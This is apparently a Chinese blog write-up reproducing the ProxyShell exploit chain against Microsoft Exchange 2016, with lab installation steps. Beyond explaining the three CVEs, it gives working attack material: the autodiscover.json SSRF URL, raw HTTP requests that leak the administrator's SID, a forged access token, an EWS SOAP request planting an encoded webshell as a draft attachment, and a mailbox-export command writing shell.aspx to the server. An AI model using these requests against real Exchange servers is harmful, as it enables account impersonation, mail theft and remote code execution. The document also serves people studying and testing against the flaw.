声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
# 参考链接
https://blog.csdn.net/qq_41874930/article/details/120037619
https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
https://www.4hou.com/posts/8Wp2
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://blog.csdn.net/HBohan/article/details/119980748
后续的其他利用:(我还没做复现,先鸽着吧,有哪位大佬复现了踹我一脚)
https://www.4hou.com/search-post?keywords=proxyshell
本文使用到的 exp 和相关代码全都打包到这了:
https://github.com/yisaditatimi/ProxyShell
# 漏洞说明
(学术剽窃)
proxyshell 利用链由下述三个 cve 组成:
— CVE-2021-34473 - 一个 ssrf 漏洞
— CVE-2021-34523 - Exchange PowerShell BackEnd 提权
— CVE-2021-31207 - 认证后任意文件写入漏洞
参考:
https://blog.csdn.net/qq_41874930/article/details/120037619
# SSRF
这个攻击是从利用一个 SSRF 漏洞开始的,该漏洞是由于一些奇怪的 URI 解析造成的路径混乱所致。
# PowerShell 端点
然后,通过访问内部网络,我们可以尝试访问 /powershell 端点,从而实现与 Exchange PowerShell 之间的通信。请注意,由于 Exchange 的 Powershell 环境的缘故,我们可以运行的命令是非常有限的。
通过利用 SSRF 漏洞,我们就能以 NT Authroity/System 的身份来访问 /powershell 端点。这在正常情况下是没有问题的,但在这种情况下,由于无法识别,因此无法通过身份验证。因此,我们需要降低我们的权限来获得对端点的访问权限。
该端点需要一个名为 X-CommonAccessToken 的 HTTP 头部,但 Exchange 不会将这个头部转发到内部后端服务器。所以我们通过另一种方式获得令牌:通过提供一个名为 X-Rps-CAT 的 GET 参数,其中存放令牌内容;之后,它将被反序列化并添加为 X-CommonAccessToken。
# 执行 PowerShell 命令
有了验证自己身份的方法,我们就可以更进一步,尝试实现代码执行。正如我之前所说,由于当前环境下会受到各种限制,因此,我们可以利用的东西很少。但是,却存在这样一个命令:通过它,我们能够在机器的任何位置写入文件…… 但是,文件只能是 PST 格式。
但是,PST 文件并不是把所有的内容都放以明文形式存放,相反,该格式会将文件内容进行编码,这在微软的官方文件中是有介绍的。
所以,我们可以先对 payload 进行编码,然后,在生成并被编码 PST 文件时,会对 payload 再次进行编码,这将使最终结果保持不变。
同时,因为我们可以提供一个网络共享,这意味着我们可以直接告诉 Exchange 导出文件到 \127.0.0.1\C$\pathto\shell。这个 webshell 虽然不是很优雅,但的确能用。
但在这之前,我们需要让我们控制的用户拥有导出邮件的权限。为此,我们需要借助于 New-ManagementRoleAssignment,我们可以通过它把邮箱导入导出的角色分配给用户。
# 发送 Payload
解决了这个问题后,我们就可以设法发送有效载荷。由于我们将利用 New-MailExportRequest,所以,我们需要向要导出的邮箱里发送一封包含有效载荷的邮件。
我发现,有两种方法可以解决这个问题。其中,一种方法是 Orange 使用的方法,发送一封邮件到地址,然后导出它。另一种方法,是 Peter 和 Jang 在 Peter 的博客中提出的方法:使用 EWS 来冒充用户,并将包含有效负载的草稿保存为附件。
# 总结
ProxyShell 是利用了 Exchange 服务器对于路径的不准确过滤导致的路径混淆生成的 SSRF,进而使攻击者通过访问 PowerShell 端点。而在 PowerShell 端点可以利用 Remote PowerShell 来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出 webshell,从而达成命令执行。
# 环境安装
注:exchange 非法卸载重装时出现的不一致问题解决方法 https://www.pianshen.com/article/5694569441/
这里我用系统环境是 windows server2012 R2,
exchange 是 Exchange Server 2016 CU18 内部版本号为:15.1.2106.2
首先,我没在这台 server2012 上装域控,我只是将这台机子加入到域中,然后在这台机子上装 exchange,所以这里没安装 AD 目录的过程。
(部署域控和加入域的操作详情见:
https://blog.csdn.net/xiezuoyong/article/details/9446747
https://blog.csdn.net/xiezuoyong/article/details/9447881
)
exhange 下载链接:
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114
首先,我们需要完成加入域的操作,然后再走下面的流程
①安装各种组件
Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS
②按顺序安装下面的东西,然后重启,就可以执行 exchang 安装程序了。
注:下面两个安装包别选中文,选英文的。
Microsoft Unified Communications Managed API 4.0 Core Runtime(64 位)
https://download.microsoft.com/download/2/C/4/2C47A5C1-A1F3-4843-B9FE-84C0032C61EC/UcmaRuntimeSetup.exe
C++ 依赖包
https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x64.exe
③安装 exchange
运行 setup.exe
然后就是会检查先决条件,如果没问题就直接按照就完事了,出现警告不用管,出现错误就按照给的提示去解决。
经过漫长的安装过程,最后安装成功,这时候直接访问 url 就能看到 exchange 的页面了。到这里已经算安装成功了。
# SSRF(CVE-2021-34473)
# 漏洞原理
https://blog.csdn.net/qq_41874930/article/details/120037619
整个代码逻辑如下
• 系统会判断用户输入的url的path部分是不是autodiscover.json结尾,如果是则将email(一个用户的可控参数,值必须包含有效的email)赋值给explicitLogonAddress。
• 如果用户输入的uri结尾不是autodiscover.json,则在用户输入的url中从头开始删除掉跟email的值一样的部分。然后将这部分作为要传给后端的url。
• 因此我们可以构造一个类似于https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com的poc进行验证,且最终传递给后端的url为:https://192.168.0.103:444/mapi/nspi/。
这里做个分析:
![对于例子 https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com]
①用户输入的 url 的 path 部分的结尾为标红部分且值是 autodiscover.json,因此会将 email 赋值(标蓝部分)给下一个参数进行进一步处理。
②对于整个 url 而言,结尾部分明显不是 autodiscover.json,而是 email 参数的值,因此最终传入后端的 URL 要删去跟 emial 参数一样的部分,所以最终整个 url 就剩下了 https://192.168.0.103:444/mapi/nspi/
③因此,我们只需要对下面标粉部分进行修改,就能进行指定 URL 的 SSRF 了
https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@foo.com
PS:把 Email 参数放到 Cookie 中一样生效。
# 漏洞复现
直接访问 mapi/nspi 要求登录验证
使用 payload ssrf 访问则直接通过验证。
# Exchange PowerShell BackEnd 提权 (CVE-2021-34523)
# 漏洞原理
(学术剽窃)
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://blog.csdn.net/qq_41874930/article/details/120037619
总结如下
Exchange PowerShell Remoting 是一个基于 WSMan 协议的一个服务,他可以执行一些特定的 powershell 命令,实现的功能有发邮件、读邮件、更新配置文件等,使用的前提是使用者需具有邮箱,可是如果我们利用前面的 ssrf 漏洞来使用 system 用户的身份使用此服务的话就会失败,原因是 system 用户是没有邮箱的。因此我们首当其冲的是
获取一个有权限的令牌这样才能调用 powershell 接口。
当我们使用 SSRF 访问内部网络的 powershell 接口时,如果请求头不包含 X-CommonAccessToken 的话,exchange 就会尝试去获取 GET 参数 X-Rps-CAT 的值,然后再进行反序列化来创建一个 Token 令牌,这就是我们用于访问 powershell 接口的令牌。所以我们现在只需要知道这个令牌的生成方式,就能够伪造任意用户来和 exchange powershell 交互执行任意命令了。
而这个 CommonAccessToken 的组成方式还比较复杂
简单的例子:
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==
总之,在生成token的过程中,我们只需要去获取指定用户的sid就能够伪造token了。
# 漏洞复现
首先,我们需要一个目标,这里我们的目标用户就是域管 administrator,接着想要获取它的 sid
首先我们需要获取 LegacyDn(想要获取域名,我们可以通过往 RPC 接口发送指定内容)
POST /autodiscover/autodiscover.json?a=test@qq.com/autodiscover/autodiscover.xml HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:320
Content-Type:text/xml
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>administrator@ruyue.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>
然后通过 LegacyDn 获取 sid(这里需要在包体后面填充空字节)
POST /autodiscover/autodiscover.json?a=test@qq.com/mapi/emsmdb HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:149
Content-Type:application/mapi-http
X-Requesttype:Connect
X-Clientapplication:Outlook/15.0.4815.1002
X-Requestid:x
/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=f2e19872bf634b09b5b25fdc463455fb-Admin
拿到 sid 后,我们接下来使用 exp 去计算这个 token 值
现在已经成功获取到了 token,然后我们该测试下这个 token 是否能用,直接用上它去访问 powershell 接口
如图,回显 200 代表成功,如果 401 的话就得找找问题了。
# 认证后任意文件写入漏洞(CVE-2021-31207 )
# 漏洞原理
漏洞利用链的最后一部分是使用 Exchange PowerShell 来写 webshell。 这并不困难,因为我们是管理员,并且可以利用数百个命令。 在这里我们找到了命令 New-MailboxExportRequest,将用户的邮箱导出到指定路径。
New-MailboxExportRequest -Mailbox test@ruyue.com -FilePath \127.0.0.1\C$\path\shell.aspx
# 将 test@ruyue.com 的邮箱导出到目标路径
但是因为这个命令是将用户邮箱内容导出到指定路径的,而邮箱是没有纯文本格式的,而这里它导出的格式是 outlook 个人文件夹(PST)格式,而通过微软官方文档,得知
PST 只是使用简单的置换编码 (NDB_CRYPT_PERMUTE) 来编码我们的有效载荷(这种类似异或加密,因此加密后再进行一次加密等于没变化)。 所以我们可以在发送之前对有效载荷进行编码,当服务器尝试保存和编码我们的有效载荷时,它会将其转换为原始恶意代码。 所以我们只需要往指定账号发送一个处理过后的邮箱再将邮箱导出到本地就能 getshell 了。
但这里还存在一个问题,调用 exchange powershell 的协议并非 http 协议,而是 WsMan 协议,这是一种基于
HTTP 与 SOAP XML 的协议。这里我们可以利用 Python 库 PyPSRP 来完成相应的工作。
# 漏洞复现
上面原理中已经讲的较清楚了,主要就是先向目标账号发送一个经加密后的 webshell 邮件,然后再调用 exchang powershell 将文件写到本地。
首先,我们先对 webshell 进行处理
接着开始伪造邮件,将 webshell 发送给目标账号。我们这里直接调用内部接口,将一个含 webshell 的文件直接添加到目标的草稿箱中
POST /autodiscover/autodiscover.json?a=test@qq.com/EWS/exchange.asmx/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBdhZG1pbmlzdHJhdG9yQHJ1eXVlLmNvbVUsUy0xLTUtMjEtMjk1NTg1OTg3My05MDgyNzE1OTItMTk3NTEyMTI1Ni01MDBHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA=HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:1413
Content-Type:text/xml
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:SerializedSecurityContext>
<t:UserSid>S-1-5-21-2955859873-908271592-1975121256-500</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>aomenshoujiaxianshangduchang</t:Subject>
<t:Body BodyType="HTML">hello fromdarkness side</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>administrator@ruyue.com</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
最后就是调用 exchange powershell 接口,将邮件保存到本地中,这里就涉及到 WsMan 协议了,用脚本跑即可